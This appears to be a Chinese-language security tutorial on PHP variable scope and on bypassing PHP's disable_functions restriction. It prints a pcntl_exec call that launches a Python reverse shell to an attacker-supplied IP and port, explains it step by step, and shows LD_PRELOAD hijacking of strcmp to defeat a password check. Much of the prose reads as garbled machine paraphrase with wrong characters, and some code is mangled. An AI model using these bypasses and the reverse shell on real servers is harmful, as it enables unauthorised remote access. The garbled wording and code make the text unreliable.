现在在函数内部加一个globle,这样函数内部的test函数就变成超全局变量了。
在函数内部定义全局变量:
通过globle 函数,可以让我们在外部访问到函数内部定义的变量的值。

demo2:
3.php代码如图所示:
2.php代码如图所示:
这里解释一下浸染域的问题:可以看到我们导入了3.php中的Test()函数,但是要把稳一点,3.php中的变量a,被限定在Test_Global()函数内了,这个输出0。
disable_function
disable_function是php.ini中的一个设置选项,可以用来设置PHP环境禁止利用某些函数。
disable_functions=exec,passthru,popen,proc_open,shell_exec,system,phpinfo,assert,chroot,getcwd,scandir,unlink,delete,rmdir,rename,chgrp,chmod,chown,fopen,copy,mkdir
首先我们先来先容这几个函数:
exec ( string $command [, array &$output [, int &$return_var ]] );$command 这个参数表示要实行的命令;$output:命令实行输出添补这个数组。如图:这是直接echo ,看到并没有输出,那么我们用print_r将其进行打印:
至于system和passthru等函数不再详细解释,大家可以自行测试。
1) 利用pcntl_exec
demo:
<?php pcntl_exec(“/bin/bash”, array(“/tmp/1.sh”));?>
然后切换到/tmp/1.sh,写入 ls -l即可实行。
反弹shell:
这个函数在实行发生缺点时返回false,实行成功则没有返回。以是这个函数我们一样平常合营python进行反弹shell。
php适用版本:PHP 4 >= 4.2.0, PHP 5
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
剖析:
socket套接字,最开始是为了同一主机间的不同程序进行通信,随着网络的发展,socket不断更新,现在已经能够让不同主机进行通信了。 AF_INET、AF_INET6是基于网络的套接字。SOCK_STREAM是面向连接的套接字。socket(socket.AF_INET,socket.SOCK_STRE)s.commect(("192.168.75.128",9988)) 创建一个基于网络并且利用tcp协议的套接字,用于通信。学过pwn的都知道,利用IP+协议+端口号唯一标识网络中的一个进程,一次来进行不同主机之间的通信。subprocess.call浸染:实行由参数供应的命令,返回命令的状态,这个模块许可天生新的进程,连接到输入/输出管道。subprocess.call(["/bin/bash","-i"])天生一个新进程,并连接到交互式shell(/bin/bash)fileObject.fileno();布局linux下的标准输入输出linux shell下常用的文件描述符是:1. 标准输入 (stdin) :代码为 0 ,利用 < 或 <<2. 标准输出 (stdout):代码为 1 ,利用 > 或 >>3. 标准缺点输出(stderr):代码为 2 ,利用 2> 或 2>>
这些轮子记住就好,一样平常pcntl_exec函数利用这两种利用办法。
2) 利用 LD_PRELOAD 环境变量
事理:先来说一下这个环境变量吧,功能是许可定义在程序运行前优先加载的动态链接库。这个功能便是用来有选择性的载入不同链接库中的相同函数。通过这个环境变量我们就可以在主程序和其动态链接库的中间加载别的动态链接库,我们可以利用这个特性,来进行挟制函数,以此来利用我们自己布局好的函数。
linux下c文件转换成.so文件:
gcc -c -fPIC -o a.o a.c
gcc -shared -o mylib.so mylib.o
-c表示编译 -fPIC表示,共享库的动态连接
-o表示输出的文件名,-shared表示天生一个共享库
demo1:
a.c
#include <stdio.h>#include <string.h>int main(int argc, char argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return 0;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return 0;}printf("Invalid Password!/n");}
首先我们gcc把a.c编译成linux下的可实行文件a
不丢脸出,strcmp函数比较两者的值,如果即是password那么就会输出correct!
根据上面的事理我们想能不能不管输入什么字符都能够输出correct呢。
下面我们布局一个b.c文件:
#include <stdio.h>#include <string.h>int strcmp(const char s1, const char s2){printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2);return 0;}
编译d.c为一个动态链接库,并且利用LD_PRELOAD全局变量使得先加载d.so这个动态链接库,这样我们就能实现之前想要达到的目的了。
demo2:
这个就捎带着一点二进制的东西了。
这个C措辞已经写去世了,但是我们可不可以用一些布局来让他输出ok呢?
首先我们利用gdb调试一下:
我们的想法是挟制printf函数,让其栈内的地址增加59那么就会让其输出ok。
结尾disable_function绕过方法还有许多,属于进阶的第一步了,好多东西还须要用到.so文件来进行挟制,有很多技巧值得好好剖析。